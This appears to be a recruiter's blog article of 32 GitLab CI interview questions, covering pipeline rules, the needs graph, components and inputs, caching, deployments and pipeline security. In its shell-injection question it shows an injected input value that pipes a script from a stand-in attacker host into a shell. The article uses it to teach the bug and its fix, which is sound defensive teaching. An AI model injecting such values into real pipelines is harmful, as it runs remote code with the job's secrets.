Skip to content

Top 32 GitLab CI Interview Questions and Answers [2026]

November 10, 2026 31 min read
GitLab CI interview guide by Second Talent
TL;DR: GitLab CI interviews in 2026 test whether a candidate can read a .gitlab-ci.yml and predict which jobs run, then fix a slow or unsafe pipeline. Candidates should know GitLab 19.5 (October 15, 2026), rules over the deprecated only/except, needs and the DAG, CI/CD components with typed spec:inputs, and OIDC with id_tokens instead of long-lived cloud keys.

GitLab 19.5 made GitLab Secrets Manager generally available, so a CI secret can now live inside GitLab and be scoped to the one job that needs it, by environment, branch and branch protection.

The GitLab 19.5 release notes also let a child pipeline job mark its dependency on a parent job as optional.

The 32 questions below are for DevOps, platform and senior backend engineers who own pipelines, with four find-the-bug rounds and two predict-the-output rounds.

Key takeaways
  1. 1A job can list up to 50 jobs in needs on GitLab.com, and needs: [] starts it the moment the pipeline is created.
  2. 2A pipeline can declare up to 20 inputs, and auto-triggered branch, tag and merge request pipelines fail if an input has no default.
  3. 3An ID token from id_tokens expires at the job timeout, or after 5 minutes when no timeout is set.
  4. 4GitLab 18.5 raised the limit to 100 CI/CD components per project, up from 30.

Pipeline Model and Rules

1. What happens between a git push and the first job starting?

GitLab builds the pipeline configuration first, then creates jobs, then waits for a runner to pick them up. A strong candidate describes the order, because most "why did my job not run" bugs live in one of these steps:

  1. Config fetch: GitLab reads .gitlab-ci.yml at the pushed commit and resolves every include, including components. Inputs are interpolated at this point, so their values are fixed for the whole run.
  2. Workflow rules: workflow:rules decide whether a pipeline is created at all. If no rule matches, no pipeline runs.
  3. Job rules: each job's rules are evaluated in order, and the first match decides whether the job is added and with which when.
  4. Scheduling: jobs become pending when their stage or their needs allow it.
  5. Pickup: a runner whose tags match polls GitLab, takes the job, and gets a short-lived CI_JOB_TOKEN for the duration of the job.

A weak answer jumps straight to "the runner runs the script" and cannot explain why a job that exists in the YAML never appears in the pipeline graph.

2. How do stages and needs differ, and what is the DAG?

Stages run in order, and a job in stage N waits for every job in earlier stages to finish. needs replaces that wait with explicit edges, so a job starts as soon as the jobs it lists succeed.

The result is a directed acyclic graph that can run faster than the stage view suggests.

stages: [build, test, deploy]

build_api:
  stage: build
  script: make api

build_web:
  stage: build
  script: make web

test_api:
  stage: test
  needs: [build_api]     # starts when build_api finishes, ignores build_web
  script: make test-api

lint:
  stage: test
  needs: []              # starts immediately at pipeline creation
  script: make lint

Facts from the CI/CD YAML reference a candidate should know: a job can need up to 50 jobs on GitLab.com (self-managed admins can change the limit), it can need jobs in the same stage, and it downloads artifacts only from the jobs in its needs list.

A job that needs a job missing from the pipeline makes the pipeline fail to start, unless the entry is marked optional: true. A senior candidate adds that needs and dependencies should not be combined in one job.

3. Why use rules instead of only and except?

The deprecated keywords page states that only and except are deprecated, and it maps each form to a rules replacement: only:refs and only:variables become rules:if, and only:changes becomes rules:changes.

GitLab rejects a job that mixes rules with only or except, so migration is per job, not per line.

rules are more expressive because each rule can also set when, allow_failure, variables and needs for the job:

deploy_prod:
  script: ./deploy.sh
  rules:
    - if: $CI_PIPELINE_SOURCE == "schedule"
      when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      changes:
        paths: [services/api/**/*]
      when: manual
      variables:
        DEPLOY_TARGET: production

A strong candidate mentions the hidden default: a job with none of only, except or rules behaves as only: [branches, tags], which is why an old job without conditions can still run in a merge request pipeline setup it was never meant for.

4. Find the bug: every push to a merge request branch runs two pipelines.

build:
  script: make build
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH

Bug: a push to a branch with an open merge request creates a branch pipeline (the second rule matches) and a merge request pipeline (the first rule matches).

Both run the same job, so runner minutes double and the merge request shows two pipelines with possibly different results.

Fix: decide at the workflow level which pipeline type wins. The common pattern is to run merge request pipelines when an MR exists, and branch pipelines otherwise:

workflow:
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS
      when: never
    - if: $CI_COMMIT_BRANCH

A senior candidate knows the edge case: the first push that creates a branch runs a branch pipeline, because no MR exists yet, and opening the MR afterwards starts a merge request pipeline. That is expected and only happens once.

5. What does this produce on main and on a feature branch?

deploy:
  script: ./deploy.sh
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      when: manual
    - if: $CI_COMMIT_BRANCH == "main"
      when: never
    - when: on_success

On main (the default branch), the first rule matches and the job is manual. The second rule is never reached, because evaluation stops at the first match.

On a feature branch, neither if matches, the last rule has no condition, and the job runs automatically with on_success. The author meant "manual on main, nothing elsewhere" and wrote "deploy every feature branch automatically".

Two follow-ups separate levels. First, a when: manual job inside rules defaults to allow_failure: false, so the pipeline waits on it and shows as blocked until someone clicks it.

Second, a catch-all rule at the end is the usual source of jobs running where nobody expected them; a reviewer should ask what the fallback rule is for before approving it.

6. How does rules:changes behave on a new branch, and when do you need compare_to?

For a branch pipeline, rules:changes compares against the previous push to that branch.

On the first push of a new branch, or in a pipeline with no push such as a schedule, there is nothing to compare, so changes evaluates to true and the job runs. The YAML reference says this holds unless compare_to is set.

api_tests:
  script: make test-api
  rules:
    - changes:
        paths: [services/api/**/*]
        compare_to: refs/heads/main

compare_to accepts a branch, tag or commit SHA and requires paths. In merge request pipelines, changes already compares with the target branch.

The limits matter in large monorepos: 50 patterns per section and 50,000 file checks, after which a patterned rule always matches. rules:exists uses the same limits and, since GitLab 18.2, accepts directories as well as files.

7. Explain merge request pipelines, merged results pipelines and merge trains.

  • Merge request pipeline: runs on the source branch commit when the MR is created or updated. It proves the branch works on its own.
  • Merged results pipeline: runs on a temporary commit that merges the source into the current target. It catches breakage that only appears after the merge.
  • Merge train (Premium and Ultimate): queues MRs and runs each one's merged result on top of the MRs ahead of it, so main never receives a combination that was not tested.

The trade-off is cost against safety. A merged results pipeline goes stale as soon as someone else merges, and a merge train fixes that by testing in order, at the price of reruns when an MR ahead of you fails.

GitLab 19.0 made the merge train's parallel pipeline limit configurable on self-managed and Dedicated; it was fixed at 20 before, and a limit of 1 runs each MR alone against a clean target.

A strong candidate asks how long the test suite takes before recommending a train, because a 40-minute suite with a busy repo makes trains slow.

8. Parent-child or multi-project pipeline, and what does trigger:strategy do?

A parent-child pipeline runs a child pipeline in the same project from a generated or included config, which suits monorepos and dynamic pipelines.

A multi-project pipeline triggers a pipeline in another project, which suits a library that must test its consumers or an app repo that triggers a deploy repo.

generate:
  stage: build
  script: ./gen-pipeline.sh > child.yml
  artifacts:
    paths: [child.yml]

run_child:
  stage: test
  trigger:
    include:
      - artifact: child.yml
        job: generate
    strategy: mirror

Without a strategy, the trigger job succeeds as soon as the downstream pipeline is created, which hides failures. strategy: mirror, added in GitLab 18.2, makes the trigger job mirror the downstream status and wait for it, and the YAML reference now recommends it over depend.

With depend, a failed downstream job that has allow_failure: true still reports success.

On variables, forward:yaml_variables defaults to true and forward:pipeline_variables defaults to false, so manual or scheduled pipeline variables do not reach the child unless you ask for them.

9. How do interruptible and auto-cancel interact?

interruptible defaults to false and does nothing unless auto-cancel is on. workflow:auto_cancel:on_new_commit controls what happens to an older pipeline when a new commit arrives on the same ref:

  • conservative (default): jobs that have not started count as interruptible, and a running pipeline is canceled only if every started job is interruptible.
  • interruptible: running or pending jobs marked interruptible: true are canceled.
  • none: nothing is canceled.

on_job_failure: all cancels the rest of the pipeline when one job fails, which saves minutes on long suites.

The trap the docs call out: do not mark deployment jobs as interruptible, because canceling a deploy halfway leaves the environment partly updated. A good answer marks build and test jobs interruptible and leaves deploys alone.

10. Where can CI/CD variables come from, and which one wins?

Variables come from the YAML (default and job level), from project, group and instance settings, from the pipeline itself (manual runs, schedules, API and trigger calls), from dotenv report artifacts, and from GitLab's predefined set.

Pipeline variables override project, group and instance settings, and those override variables written in the YAML. Predefined variables sit at the bottom.

Settings-level variables carry the security flags:

  • Protected: only exposed to pipelines on protected branches and tags. This is how a production key stays out of a feature branch.
  • Masked: redacted in job logs. Masking is a log filter, not access control: a script can still send the value anywhere.
  • Environment scope: a variable can be limited to jobs that deploy to production or a pattern such as review/*.

A senior candidate adds that the ability to set pipeline variables is itself a privilege.

Anyone who can run a pipeline with variables can override a YAML value such as a deploy target, which is one reason GitLab recommends typed inputs and suggests disabling pipeline variables once inputs are in place (question 15).

Reuse: Includes, Components and Inputs

11. What include types exist, and what are the limits?

include supports local (same repo), project (another project on the same instance, with an optional ref), remote (a public URL), template (GitLab's bundled templates) and component.

The YAML reference sets the limits: up to 150 includes per pipeline by default, with duplicate nested includes counted, and 30 seconds to resolve all files.

Points a reviewer should raise:

  • include:remote does not support authentication and fetches whatever the URL serves at pipeline creation. Pin it with include:integrity, a base64 SHA256 hash of the file.
  • include:project without a ref follows the other project's default branch, so a change there changes your pipeline without a commit in your repo.
  • Included YAML is merged into yours, so a job name in an include can collide with or be overridden by a job of the same name locally.

12. Compare extends, YAML anchors and !reference.

  • extends: GitLab's own inheritance. It deep-merges hashes, works across included files, and supports multiple parents. Arrays are replaced, not merged.
  • YAML anchors: resolved by the YAML parser before GitLab sees the file, so they only work inside one file. <<: *anchor merges hashes; anchors cannot merge arrays either.
  • !reference: a GitLab tag that pulls a specific section from another job, even from an included file. It is the clean way to reuse script lines.
.setup:
  before_script:
    - apk add --no-cache curl jq

test:
  before_script:
    - !reference [.setup, before_script]
    - echo "extra setup for tests"
  script: make test

A weak answer uses anchors across files and is surprised when the include breaks.

A strong answer reaches for components or inputs once the shared config needs parameters, because extends plus variables gives no type checking and no documentation.

13. What is a CI/CD component, and how is a component project laid out?

A component is a reusable, versioned unit of pipeline configuration with a typed interface, consumed with include:component. Components became generally available in GitLab 17.0. The components docs describe the project layout:

my-components/
  README.md
  LICENSE.md
  .gitlab-ci.yml                 # tests and releases the components
  templates/
    secret-detection.yml         # single-file component
    deploy/
      template.yml               # directory component; only this file is released
      helper.sh                  # not released to consumers

A consumer includes it with the full address, using $CI_SERVER_FQDN so the same config works on GitLab.com and on a self-managed instance:

include:
  - component: $CI_SERVER_FQDN/my-org/my-components/secret-detection@1.4.2
    inputs:
      stage: test

Components must come from the same GitLab instance as the project. A project can hold up to 100 components since GitLab 18.5 (up from 30), and the docs suggest a separate project for components that need their own release cycle.

A good candidate notes that the helper script in a directory component is not shipped, so a component that calls ./helper.sh fails in the consumer's pipeline.

14. How should a team pin component versions?

The version after @ can be a commit SHA, a tag, a branch, ~latest or a partial semantic version such as 1 or 1.4.

Per the components docs, a SHA takes precedence over a tag, and a tag over a branch of the same name. ~latest and partial versions only work for components published to the CI/CD Catalog, and they never select pre-releases.

  • Partial version (@1): gets fixes and features without breaking changes, if the publisher follows semver. Good default for internal components.
  • Full tag (@1.4.2): reproducible until someone moves the tag. Pair it with protected tags on the component project.
  • Commit SHA: the only immutable option. Use it for third-party components and anything that touches secrets or deploys.
  • ~latest: the docs warn it may include breaking changes. Fine for a sandbox, not for production pipelines.

The CI/CD Catalog shows, since GitLab 19.0 (Ultimate), which projects use each component and whether their version is outdated, which turns "who still runs the old deploy component" into a lookup.

15. How do spec:inputs differ from CI/CD variables?

Inputs are typed parameters declared in a spec header and interpolated with $[[ inputs.name ]] when the configuration is fetched. Their values are fixed for the whole run.

Variables are strings resolved at job runtime and can change during execution. The inputs docs list the types string (default), number, boolean and array, plus default, description, options and regex for validation.

spec:
  inputs:
    environment:
      options: [staging, production]
    replicas:
      type: number
      default: 2
---
deploy:
  stage: deploy
  script: ./deploy.sh --env "$[[ inputs.environment ]]" --replicas $[[ inputs.replicas ]]
  environment: $[[ inputs.environment ]]

Key rules: an input without a default is mandatory; the --- separator is required when the file also defines jobs; inputs only apply in the file that declares them, so values reach included files through include:inputs and downstream pipelines through trigger:inputs.

Since GitLab 18.7, spec:inputs:rules can set options and default conditionally on other inputs.

A strong candidate explains why typos fail early: an options mismatch stops pipeline creation, while a mistyped variable value only fails once the deploy script runs.

16. Find the bug: a component that echoes a message.

spec:
  inputs:
    message:
      default: "Build finished"
---
notify:
  script:
    - echo "$[[ inputs.message ]]"
    - curl -X POST -d "text=$[[ inputs.message ]]" "$SLACK_WEBHOOK_URL"

Bug: shell injection.

Interpolation is text substitution into the script before the shell sees it, so a value such as "; curl https://attacker.example/x.sh | sh; echo " becomes shell code that runs with the job's token and any secrets the job can read.

Anyone who can run the pipeline with inputs, or a caller who passes the message through from user data, controls that value.

Fix: move the input into a variable, so the shell receives it as data, and validate it when you can:

notify:
  variables:
    MESSAGE: $[[ inputs.message ]]
  script:
    - echo "$MESSAGE"
    - curl -X POST --data-urlencode "text=$MESSAGE" "$SLACK_WEBHOOK_URL"

A senior candidate mentions posix_escape, the interpolation function added in GitLab 18.6, and adds what the docs say about it: do not rely on it for untrusted input. A regex or options constraint on the input is the stronger control.

17. What are pipeline-level inputs, and what breaks if you add one?

Since GitLab 17.11, the main .gitlab-ci.yml can declare spec:inputs in its own header, and those inputs can be set from a manual run in the UI, the pipelines and triggers APIs, push options, schedules and the trigger keyword.

Inputs for the main pipeline must live in that file's header, not in an included file. The limit is 20 inputs per pipeline.

The trap: the docs say automatically triggered pipelines (merge request, branch and tag) fail if an input has no default, so adding a mandatory input to the root file breaks every push until someone adds a default.

Recent additions worth knowing:

  • Array inputs are passed as JSON, such as ["api", "web"]; since 19.0, an array input with options shows a multi-select dropdown.
  • Elements can be read by index, such as $[[ inputs.targets[0] ]], generally available since 18.11.
  • Up to three functions can be chained in one block, for example $[[ inputs.name | truncate(0,20) ]]; split became generally available in 19.2.

Runners, Caching and Speed

18. Which runner executor would you pick, and how are runners registered now?

The executor decides where the script runs. Docker suits most teams: each job gets a clean container from the job's image.

The Kubernetes executor runs each job as a pod, which fits teams that already run a cluster and want autoscaling there. Shell runs directly on the host, which is fast and stateful, and therefore a poor choice for untrusted or shared code.

Docker Autoscaler and the instance executor scale VMs on a cloud provider.

Registration changed. The runner creation workflow creates the runner in the UI or with POST /user/runners, which returns an authentication token with the glrt- prefix, then registers with gitlab-runner register --token.

Tags, locking and access level are set at creation, not on the command line.

Since GitLab 17.0, admins and group owners can disable the legacy registration-token workflow, and a runner that tries it gets 410 Gone - runner registration disallowed.

A strong candidate also separates runners by trust: protected runners for jobs on protected branches that hold deploy credentials, and separate runners for everything else, so a merge request from a feature branch cannot land on the machine that holds production access.

19. What is the difference between cache and artifacts?

Artifacts are job outputs that GitLab stores and passes to later jobs; cache is a best-effort speed-up that a runner may or may not find.

Use artifacts for anything a later job needs to be correct: compiled binaries, test reports, generated config. Use cache for things you can rebuild if missing: dependency downloads, compiler caches.

CacheArtifacts
PurposeSpeedCorrectness and handoff
StoredOn the runner or in its configured object storageIn GitLab, downloadable from the UI and API
GuaranteedNo; jobs must work with a cold cacheYes, until expire_in
Passed byMatching cache:keyStage order, needs or dependencies

The YAML reference adds the details a candidate should know: cache:policy is pull-push by default, a job can use up to four caches, cache:fallback_keys are tried in order when the main key misses, and artifacts:access can restrict who downloads artifacts (all, developer, maintainer or none). artifacts:reports upload whatever the job result.

20. Find the bug: the Node.js cache never helps.

test:
  image: node:22
  cache:
    key: $CI_COMMIT_REF_SLUG
    paths:
      - node_modules/
  script:
    - npm ci
    - npm test

Bugs:

  • npm ci deletes node_modules before installing, so the restored cache is thrown away on every run.
  • The key is the branch slug, so every new branch starts cold, and a branch never benefits from main's cache.
  • Every job using this cache also pushes it at the end, which costs upload time on jobs that changed nothing.

Fix: cache npm's download cache inside the project directory, key it on the lockfile, and fall back to the default branch:

test:
  image: node:22
  cache:
    key:
      files: [package-lock.json]
    paths: [.npm/]
    fallback_keys:
      - npm-$CI_DEFAULT_BRANCH
  script:
    - npm ci --cache .npm --prefer-offline
    - npm test

Jobs that only read the cache should add policy: pull.

A strong candidate also mentions that cache paths must be inside the project directory, and that a cache shared between protected and unprotected branches is a poisoning risk; GitLab keeps separate caches for protected branches by default for that reason.

21. A pipeline takes 45 minutes. How do you make it faster?

Measure first: open the pipeline's job durations and find the critical path, the longest chain of dependent jobs. Then attack that chain, not the average job.

  • Graph: add needs so jobs stop waiting for unrelated stages; lint and unit tests often need nothing.
  • Skip work: rules:changes per service in a monorepo, and parent-child pipelines so a docs change does not build the backend.
  • Parallelize: parallel: N with a test splitter that reads CI_NODE_INDEX and CI_NODE_TOTAL, or parallel:matrix for version combinations.
  • Startup cost: smaller images, pre-built CI images with tools baked in, a pull policy that uses local images, and dependency caches keyed on lockfiles.
  • Waste: interruptible: true with auto-cancel so superseded pipelines stop, and on_job_failure: all for long suites.
  • Capacity: pending time is a runner problem, not a YAML problem. Check queue time before rewriting jobs.

A weak answer says "add more runners". A strong answer separates queue time, setup time and script time and names which one dominates before changing anything.

22. How would you structure CI for a monorepo with ten services?

A root pipeline that decides what changed, and one child pipeline per affected service. Each service keeps its own CI file, and the root uses trigger:include with rules:changes so only touched services run:

api:
  trigger:
    include: services/api/.gitlab-ci.yml
    strategy: mirror
  rules:
    - changes:
        paths: [services/api/**/*, libs/shared/**/*]
        compare_to: refs/heads/main

web:
  trigger:
    include: services/web/.gitlab-ci.yml
    strategy: mirror
  rules:
    - changes:
        paths: [services/web/**/*, libs/shared/**/*]
        compare_to: refs/heads/main

The design questions a senior candidate raises: shared libraries must appear in every dependent service's paths, or a library change ships untested; compare_to stops new branches from running everything; and a nightly schedule should run all services anyway, because path filters miss changes to base images and toolchains.

For ten near-identical services, a component with a service input beats ten copied files.

Environments and Deployments

23. How do environments, review apps and auto-stop work?

A job with environment:name records a deployment to that environment, which gives history, rollback and a link in merge requests. Review apps use a dynamic name per branch and a stop job:

deploy_review:
  stage: deploy
  script: ./deploy-review.sh "$CI_ENVIRONMENT_SLUG"
  environment:
    name: review/$CI_COMMIT_REF_SLUG
    url: https://$CI_ENVIRONMENT_SLUG.review.example.com
    on_stop: stop_review
    auto_stop_in: 2 days
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"

stop_review:
  stage: deploy
  script: ./teardown-review.sh "$CI_ENVIRONMENT_SLUG"
  environment:
    name: review/$CI_COMMIT_REF_SLUG
    action: stop
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
      when: manual

Per the YAML reference, action can be start (default), prepare, stop, verify or access, and only start creates a deployment. auto_stop_in resets on each deployment. deployment_tier (production, staging, testing, development, other) drives reporting and DORA metrics.

The common bug: the stop job's rules do not match the deploy job's rules, so the stop job is missing from the pipeline and review environments pile up.

24. How do you stop two deploys to production from running at once?

Put the deploy jobs in a resource_group. GitLab then runs at most one job in that group at a time across pipelines, and the next waits.

deploy_prod:
  stage: deploy
  script: ./deploy.sh production
  resource_group: production
  environment:
    name: production
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

The default process mode is unordered; the API can switch it to oldest-first or newest-first.

A strong candidate picks newest-first for continuous deployment, so a queue of five merges deploys the latest commit instead of five deploys in sequence.

They also note that GitLab's "prevent outdated deployment jobs" project setting blocks an older pipeline from deploying over a newer one, which is the other half of the same problem.

25. How do you add an approval gate to production deploys?

Use protected environments: mark production as protected, restrict who can deploy, and on Premium and Ultimate add required approvals, so the deploy job waits until an approver accepts it.

That is stronger than when: manual, because a manual job can be started by anyone who can run pipelines on that branch, while a protected environment checks the person.

A complete answer combines layers: protected branches so only reviewed code reaches main, protected variables and protected runners so production credentials only exist in those pipelines, a protected environment with approvals for the deploy itself, and the environment-scoped variables or ID token claims (question 26) so a non-production job cannot obtain production access even if someone edits the YAML.

Pipeline Security

26. How do you deploy to AWS from GitLab CI without storing access keys?

Use OIDC. The job requests an ID token with id_tokens, AWS trusts GitLab as an identity provider, and an IAM role exchanges the token for temporary credentials.

The legacy CI_JOB_JWT variables were removed in GitLab 17.0, so id_tokens is the only option.

deploy_prod:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    AWS_ID_TOKEN:
      aud: https://gitlab.com
  variables:
    AWS_ROLE_ARN: arn:aws:iam::123456789012:role/gitlab-deploy-prod
    AWS_WEB_IDENTITY_TOKEN_FILE: $CI_PROJECT_DIR/.web-identity-token
  script:
    - echo "$AWS_ID_TOKEN" > "$AWS_WEB_IDENTITY_TOKEN_FILE"
    - aws sts get-caller-identity
    - ./deploy.sh
  environment:
    name: production
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

The aud must match the audience on the IAM OIDC provider. The security lives in the role's trust policy, and the ID token docs give the default sub format: project_path:{group}/{project}:ref_type:{type}:ref:{branch_name}.

A trust policy that matches project_path:my-group/* lets any branch of any project in the group assume the production role.

A strong candidate pins the exact project and ref, and adds stable claims such as project_id and namespace_id, because a path can be reused after a project is renamed or deleted.

The docs note that on AWS those extra condition keys only work with the gitlab.com provider; self-managed instances get sub only.

Since 18.7 the sub can be configured to carry ref_protected, environment_protected and deployment_tier, which lets the cloud side require a protected ref.

27. What can CI_JOB_TOKEN reach, and what changed in GitLab 18.0?

CI_JOB_TOKEN is a per-job token that lets the job call a subset of GitLab APIs, pull from the container and package registries, and clone other projects, with the permissions of the user who started the pipeline.

It is valid only while the job runs.

GitLab 18.0 enabled the "Authorized groups and projects" allowlist by default. Per GitLab's 18.0 breaking changes guide, a job token from project A can only access project B if A is on B's allowlist.

On GitLab.com, allowlists were filled from the job token authentication log; self-managed instances had to populate them before upgrading, and pipelines that cloned private dependencies started failing where nobody did.

The older "Limit access from your project" setting was removed in the same release.

GitLab 19.0 added cross-project pushes with CI_JOB_TOKEN, behind the allow_push_to_allowlisted_projects flag, disabled by default. The target project must opt in and the user who started the pipeline needs at least the Developer role there.

A candidate who knows the allowlist model can explain why a token that could read a project yesterday gets a 403 today.

28. How do merge requests from forks handle secrets?

By default, a pipeline for a merge request from a fork runs in the fork's project, with the fork's runners and the fork's variables, so the parent project's secrets are not exposed.

That also means the parent's tests did not run with the parent's configuration.

A maintainer of the parent project can run the pipeline in the parent project instead, after reviewing the change.

A senior candidate explains the risk: once it runs in the parent, the fork's modified .gitlab-ci.yml and scripts run with the parent's runners and any unprotected variables, so a reviewer must read the CI changes first.

Protected variables stay safe because the fork's branch is not a protected branch in the parent. The broader rule: anything that can modify the pipeline definition can read every secret the pipeline can read.

29. How should a pipeline fetch secrets from Vault or a cloud secret manager?

With the secrets keyword (Premium and Ultimate) and an ID token, so the secret manager authenticates the job by its claims and no static token sits in GitLab:

deploy:
  id_tokens:
    VAULT_ID_TOKEN:
      aud: https://vault.example.com
  secrets:
    DATABASE_PASSWORD:
      vault: production/db/password@ops
      token: $VAULT_ID_TOKEN
  script:
    - ./migrate.sh --password-file "$DATABASE_PASSWORD"

Details from the YAML reference a candidate should know: the short vault form defaults to the kv-v2 engine and @ops sets the engine mount path; secrets:file defaults to true, so the variable holds a path to a file, not the value, which is why the script reads it as a file; and when a job defines several ID tokens, secrets:token must name one explicitly, or the token used is not predictable.

Other providers include gcp_secret_manager, azure_key_vault and, since 19.0, gitlab_secrets_manager.

The Vault side matters as much: a role bound to project_id and ref_protected claims, and short TTLs. A weak answer stores a Vault token as a masked variable, which brings back the long-lived secret OIDC was meant to remove.

30. Find the bug: a shared pipeline include.

include:
  - remote: https://raw.githubusercontent.com/example-org/ci-templates/main/build.yml
  - project: platform/ci-library
    file: /deploy.yml

deploy_prod:
  extends: .deploy
  variables:
    AWS_ROLE_ARN: arn:aws:iam::123456789012:role/prod-deploy

Bugs:

  • The remote include follows a mutable branch on another platform, with no authentication and no integrity check. Whoever can push to that branch can run code in your production deploy job.
  • The project include has no ref, so it tracks the library's default branch. A merge there changes production deploys without any change in this repo.
  • The .deploy template comes from an include, so the reviewer of this file cannot see what it runs, which rules apply, or which runner tags it uses.

Fix: move shared config into a component or a project include pinned to a tag or SHA, add include:integrity to any remote include that must stay, and protect the tags on the library project.

For organization-wide controls on Ultimate, pipeline execution policies inject required jobs that a project cannot remove, which suits mandatory security scans better than an include that a developer can delete.

What Changed Recently

May 15, 2025
GitLab 18.0 enforces the CI_JOB_TOKEN allowlist by default and removes the Terraform CI templates
Jul 17, 2025
GitLab 18.2 adds trigger:strategy: mirror and directory support in rules:exists
Oct 16, 2025
GitLab 18.5 raises the limit to 100 components per project
Dec 18, 2025
GitLab 18.7 adds spec:inputs:rules and richer ID token sub claims
May 21, 2026
GitLab 19.0: Secrets Manager beta, multi-select array inputs, configurable merge train limit
Jul 16, 2026
GitLab 19.2 makes the split input function generally available
Oct 15, 2026
GitLab 19.5: Secrets Manager GA, optional parent-job dependencies for child pipelines

GitLab ships a minor release each month on the third Thursday, so 19.6 is due on November 19, 2026. The 19.6 notes already list a default input function behind the ci_interpolation_default_function flag.

Ask candidates which version their instance runs, because self-managed customers often sit several releases behind GitLab.com.

31. What is GitLab Secrets Manager, and when would you still use Vault?

GitLab Secrets Manager stores CI/CD secrets inside GitLab and hands each one only to jobs that request it. It entered open beta in GitLab 19.0 and became generally available in 19.5 on Premium and Ultimate.

Per the 19.5 notes, each secret is scoped to the job that needs it based on environment, branch and branch protection rules, and audit logs cover every create, read, update and delete. It consumes GitLab Credits.

deploy:
  secrets:
    DEPLOY_KEY:
      gitlab_secrets_manager:
        name: deploy-key
  script:
    - ./deploy.sh --key-file "$DEPLOY_KEY"

The gitlab_secrets_manager provider needs Runner 19.0 or later, and a group secret uses source: group/<full-path>, limited to the project's own group or a parent.

Compared with masked project variables, the gain is per-job scoping and an audit trail.

A good candidate still picks Vault or a cloud secret manager when the same secrets serve systems outside GitLab, when dynamic credentials (short-lived database users) are needed, or when compliance requires the secret store to sit outside the CI platform.

32. What changed for pipeline authors between GitLab 18.0 and 19.5?

  • Job token allowlist enforced (18.0): cross-project access with CI_JOB_TOKEN needs an explicit allowlist entry.
  • Terraform templates removed (18.0): GitLab points teams to the OpenTofu component instead.
  • Runner pull policies (18.0): a job's pull policies must appear in the runner's allowed_pull_policies.
  • strategy: mirror (18.2): trigger jobs can reflect the exact downstream status.
  • Inputs grew up (18.6 to 19.2): posix_escape, conditional spec:inputs:rules, external input files, array indexing, multi-select options and split.
  • Secrets (19.0 to 19.5): the gitlab_secrets_manager provider, beta in 19.0 and GA in 19.5.
  • Child pipelines (19.5): a child job's dependency on a parent job can be optional, so a skipped parent job no longer blocks it, while a parent job that runs and fails still stops the pipeline.
  • Runner tags (19.5): CI_JOB_TAGS and CI_RUNNER_TAGS now JSON-encode each tag, which breaks scripts that split those variables on commas.

A candidate does not need every line. They should name the allowlist change, because it broke real pipelines, and show they read release notes before upgrading a self-managed instance.

Signs of a Strong Answer

  • They predict which jobs appear in a pipeline by walking workflow:rules and then each job's rules in order, stopping at the first match.
  • They treat cache as optional and artifacts as the contract between jobs, and their jobs pass with a cold cache.
  • They pin includes and components to a tag or SHA and can say who is able to change what the pipeline runs.
  • They pass inputs to scripts through variables and validate them with options or regex.
  • They use id_tokens and a trust policy pinned to project and ref instead of cloud keys in variables.
  • They separate queue time, setup time and script time before proposing a speed fix.

Hiring DevOps Engineers

Engineers who have migrated a large GitLab setup from only/except to rules and components, cut a pipeline's critical path in half, and replaced cloud keys with OIDC are hard to find through job boards.

Second Talent helps US startups hire vetted AI-Native Engineers from Asia, including DevOps engineers and cloud engineers, screened with questions like these.

The DevOps engineer role guide covers the job itself, and for related loops see our CI/CD, Docker and Kubernetes interview guides.

Rates run $23 to $39 USD an hour, billed monthly, with matches in 24 hours and a 90-day one-time replacement guarantee. Tell us what you need.

Get developers who ship with AI agents.

Starts at $23/Hour.

Start Hiring

$0 cost until you hire